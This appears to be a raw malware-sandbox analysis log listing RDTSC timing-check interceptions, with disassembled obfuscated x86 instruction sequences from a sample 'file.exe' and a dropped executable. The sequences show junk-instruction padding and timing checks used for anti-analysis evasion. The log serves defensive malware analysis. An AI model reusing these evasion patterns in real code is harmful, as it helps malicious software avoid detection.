Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0558 second address: 4CF0558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007F8428CC3770h 0x0000000b xor si, A278h 0x00000010 jmp 00007F8428CC376Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test al, al 0x0000001b pushad 0x0000001c mov dx, si 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F8428CC376Eh 0x00000026 jmp 00007F8428CC3775h 0x0000002b popfd 0x0000002c mov ebx, esi 0x0000002e popad 0x0000002f popad 0x00000030 jne 00007F8428CC36F7h 0x00000036 mov al, byte ptr [edx] 0x00000038 pushad 0x00000039 mov edi, eax 0x0000003b popad 0x0000003c inc edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push edi 0x00000041 pop esi 0x00000042 mov ecx, ebx 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF05D2 second address: 4CF05E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428B8CB4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF05E4 second address: 4CF05E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF05E8 second address: 4CF061F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8428B8CB58h 0x00000014 and cl, FFFFFFF8h 0x00000017 jmp 00007F8428B8CB4Bh 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF061F second address: 4CF0641 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3774h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a pushad 0x0000000b movzx eax, di 0x0000000e push eax 0x0000000f push edx 0x00000010 movsx edx, si 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0641 second address: 4CF067F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8428B8CB52h 0x00000008 add al, FFFFFFB8h 0x0000000b jmp 00007F8428B8CB4Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 lea ebx, dword ptr [edi+01h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8428B8CB50h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF067F second address: 4CF0683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0683 second address: 4CF0689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0689 second address: 4CF06DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 2273h 0x00000007 push eax 0x00000008 pop edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov al, byte ptr [edi+01h] 0x0000000f jmp 00007F8428CC3772h 0x00000014 inc edi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movsx edx, si 0x0000001b pushfd 0x0000001c jmp 00007F8428CC3776h 0x00000021 adc ax, 4FD8h 0x00000026 jmp 00007F8428CC376Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF06DA second address: 4CF06F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428B8CB54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF06F2 second address: 4CF0742 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC376Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8428CC3774h 0x00000014 jmp 00007F8428CC3775h 0x00000019 popfd 0x0000001a push eax 0x0000001b pushad 0x0000001c popad 0x0000001d pop edx 0x0000001e popad 0x0000001f jne 00007F849A1FBAAFh 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0742 second address: 4CF0757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0757 second address: 4CF0805 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8428CC3777h 0x00000008 pop ecx 0x00000009 push edi 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ecx, edx 0x00000010 pushad 0x00000011 movsx edi, si 0x00000014 push ecx 0x00000015 call 00007F8428CC3779h 0x0000001a pop eax 0x0000001b pop edx 0x0000001c popad 0x0000001d shr ecx, 02h 0x00000020 jmp 00007F8428CC376Ch 0x00000025 rep movsd 0x00000027 rep movsd 0x00000029 rep movsd 0x0000002b rep movsd 0x0000002d rep movsd 0x0000002f jmp 00007F8428CC3770h 0x00000034 mov ecx, edx 0x00000036 pushad 0x00000037 pushad 0x00000038 mov dh, ah 0x0000003a push ebx 0x0000003b pop eax 0x0000003c popad 0x0000003d mov esi, ebx 0x0000003f popad 0x00000040 and ecx, 03h 0x00000043 jmp 00007F8428CC3777h 0x00000048 rep movsb 0x0000004a jmp 00007F8428CC3776h 0x0000004f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 mov ebx, esi 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0805 second address: 4CF082D instructions: 0x00000000 rdtsc 0x00000002 mov bl, cl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cl, dl 0x00000008 popad 0x00000009 mov eax, ebx 0x0000000b jmp 00007F8428B8CB4Ch 0x00000010 mov ecx, dword ptr [ebp-10h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8428B8CB4Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF082D second address: 4CF0831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0831 second address: 4CF0837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0837 second address: 4CF0848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428CC376Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0848 second address: 4CF084C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF084C second address: 4CF0897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f pushad 0x00000010 mov esi, edi 0x00000012 call 00007F8428CC376Fh 0x00000017 mov cx, 7B2Fh 0x0000001b pop esi 0x0000001c popad 0x0000001d pop ecx 0x0000001e jmp 00007F8428CC376Bh 0x00000023 pop edi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8428CC3775h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0897 second address: 4CF08BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8428B8CB4Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF08BC second address: 4CF0911 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a jmp 00007F8428CC376Eh 0x0000000f leave 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx edx, si 0x00000016 pushfd 0x00000017 jmp 00007F8428CC3776h 0x0000001c add esi, 7A3E12A8h 0x00000022 jmp 00007F8428CC376Bh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0911 second address: 4CF0929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428B8CB54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0929 second address: 4CF04D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0008h 0x0000000b cmp dword ptr [ebp-2Ch], 10h 0x0000000f mov eax, dword ptr [ebp-40h] 0x00000012 jnc 00007F8428CC3765h 0x00000014 push eax 0x00000015 lea edx, dword ptr [ebp-00000590h] 0x0000001b push edx 0x0000001c call esi 0x0000001e push 00000008h 0x00000020 jmp 00007F8428CC3770h 0x00000025 push 4356ED9Dh 0x0000002a jmp 00007F8428CC3771h 0x0000002f add dword ptr [esp], 32D32E8Bh 0x00000036 jmp 00007F8428CC376Eh 0x0000003b call 00007F849A20728Ah 0x00000040 push 762327D0h 0x00000045 push dword ptr fs:[00000000h] 0x0000004c mov eax, dword ptr [esp+10h] 0x00000050 mov dword ptr [esp+10h], ebp 0x00000054 lea ebp, dword ptr [esp+10h] 0x00000058 sub esp, eax 0x0000005a push ebx 0x0000005b push esi 0x0000005c push edi 0x0000005d mov eax, dword ptr [762C0140h] 0x00000062 xor dword ptr [ebp-04h], eax 0x00000065 xor eax, ebp 0x00000067 push eax 0x00000068 mov dword ptr [ebp-18h], esp 0x0000006b push dword ptr [ebp-08h] 0x0000006e mov eax, dword ptr [ebp-04h] 0x00000071 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000078 mov dword ptr [ebp-08h], eax 0x0000007b lea eax, dword ptr [ebp-10h] 0x0000007e mov dword ptr fs:[00000000h], eax 0x00000084 ret 0x00000085 push eax 0x00000086 push edx 0x00000087 push eax 0x00000088 push edx 0x00000089 pushad 0x0000008a popad 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0A3B second address: 4CF0A8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F8428B8CB4Dh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F8428B8CB59h 0x00000018 sub eax, 4B8501C6h 0x0000001e jmp 00007F8428B8CB51h 0x00000023 popfd 0x00000024 mov eax, 69EF9E77h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0A8D second address: 4CF0AA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC376Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 475E85 second address: 475E89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 46F9A2 second address: 46F9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 474F62 second address: 474F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 474F67 second address: 474F87 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8428CC376Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F8428CC3784h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F8428CC3766h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 474F87 second address: 474F98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jbe 00007F8428B8CB46h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 475592 second address: 4755A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8428CC376Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4755A4 second address: 4755AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 475706 second address: 475711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 475711 second address: 475715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 478983 second address: 4789A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC376Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F8428CC3772h 0x00000015 jmp 00007F8428CC376Ch 0x0000001a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4789A9 second address: 4789D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8428B8CB4Fh 0x00000008 jmp 00007F8428B8CB4Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4789D1 second address: 4789ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3778h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4789ED second address: 478A20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jp 00007F8428B8CB66h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8428B8CB4Eh 0x0000001a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 478AE5 second address: 478B26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3775h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F8428CC3777h 0x00000012 jmp 00007F8428CC376Ch 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 478B26 second address: 478B5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jp 00007F8428B8CB68h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8428B8CB56h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 478B5D second address: 478B84 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8428CC3766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8428CC3779h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 478B84 second address: 478B89 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 478B89 second address: 478BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jno 00007F8428CC376Ah 0x00000011 push esi 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop esi 0x00000015 pop eax 0x00000016 mov esi, dword ptr [ebp+122D2AE8h] 0x0000001c push 00000003h 0x0000001e mov dword ptr [ebp+122D1E38h], eax 0x00000024 push 00000000h 0x00000026 call 00007F8428CC376Ch 0x0000002b pushad 0x0000002c mov dword ptr [ebp+122D3348h], ecx 0x00000032 sbb al, 0000003Eh 0x00000035 popad 0x00000036 pop edi 0x00000037 push 00000003h 0x00000039 mov dword ptr [ebp+122D2A11h], edi 0x0000003f mov cx, bx 0x00000042 push AFBA69E2h 0x00000047 jo 00007F8428CC3774h 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 478BE0 second address: 478BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 478BE6 second address: 478C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 1045961Eh 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F8428CC3768h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 or dword ptr [ebp+122D1C61h], eax 0x0000002c lea ebx, dword ptr [ebp+1245D618h] 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007F8428CC3768h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 00000019h 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c add edi, dword ptr [ebp+122D2AB4h] 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push ebx 0x00000056 jmp 00007F8428CC3775h 0x0000005b pop ebx 0x0000005c rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 478C5F second address: 478C64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 48A83A second address: 48A84C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428CC376Eh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 48A84C second address: 48A850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 468F70 second address: 468F91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007F8428CC3778h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 468F91 second address: 468F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 468F99 second address: 468FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F8428CC3766h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 468FAD second address: 468FC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB58h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 468FC9 second address: 468FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a jmp 00007F8428CC376Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F8428CC3766h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 499050 second address: 499056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 499056 second address: 499072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F8428CC3776h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F8428CC376Eh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 499072 second address: 4990A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F8428B8CB46h 0x00000009 jmp 00007F8428B8CB4Ch 0x0000000e popad 0x0000000f jmp 00007F8428B8CB57h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ebx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4990A5 second address: 4990B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8428CC3766h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4990B1 second address: 4990BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 49992E second address: 499932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 499932 second address: 49998A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8428B8CB46h 0x00000008 jmp 00007F8428B8CB53h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F8428B8CB59h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a jnl 00007F8428B8CB59h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 49998A second address: 4999A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8428CC376Ah 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e ja 00007F8428CC3772h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4999A5 second address: 4999AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4999AB second address: 4999B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4999B3 second address: 4999BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8428B8CB46h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 49A054 second address: 49A05B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 49A205 second address: 49A209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 49A209 second address: 49A225 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC376Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F8428CC376Eh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 49A225 second address: 49A22B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A18D5 second address: 4A18D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A65C4 second address: 4A65CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A65CB second address: 4A65D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F8428CC3766h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A65D8 second address: 4A65DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
